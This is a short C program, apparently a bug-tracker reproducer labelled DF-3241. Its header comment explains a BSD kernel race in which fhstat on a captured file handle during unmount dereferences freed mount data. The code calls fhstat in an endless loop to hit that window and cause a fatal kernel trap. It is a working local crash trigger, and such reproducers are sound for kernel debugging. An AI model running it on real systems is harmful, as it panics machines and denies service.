DF-3241 / fhbomb.c
/* * DF-3241 trigger: spin fhstat(2) on a captured file handle. * * fhstat -> sys_fhstat -> vfs_getvfs(fsid) -> VFS_FHTOVP -> ffs_fhtovp -> * fs = VFSTOUFS(mp)->um_fs * * vfs_getvfs() does NOT check MNTK_UNMOUNT, and dounmount() removes the * mount from the mount list only AFTER VFS_UNMOUNT has already freed the * ufsmount and cleared mp->mnt_data. A fhstat() that resolves the fsid in * that window dereferences mnt_data == NULL -> fatal trap. * * Usage: ./fhbomb fh.bin [spin_us] */ #include <sys/param.h> #include <sys/mount.h> #include <sys/stat.h> #include <sys/errno.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <err.h> int main(int argc, char **argv) { fhandle_t fh; struct stat sb; int fd; long n = 0, ok = 0, stale = 0; u_long faccessed = 0; if (argc < 2) errx(1, "usage: fhbomb fh.bin"); fd = open(argv[1], O_RDONLY); if (fd < 0) err(1, "open %s", argv[1]); if (read(fd, &fh, sizeof(fh)) != sizeof(fh)) err(1, "read fh"); close(fd); if (argc > 2) faccessed = strtoul(argv[2], NULL, 0); setvbuf(stderr, NULL, _IONBF, 0); for (;;) { if (fhstat(&fh, &sb) == 0) ok++; else if (errno == ESTALE) stale++; n++; if (faccessed && (n % 64) == 0) usleep(faccessed); if ((n % 500000) == 0) fprintf(stderr, "p=%d n=%ld ok=%ld stale=%ld\n", getpid(), n, ok, stale); } /* NOTREACHED */ return (0); } |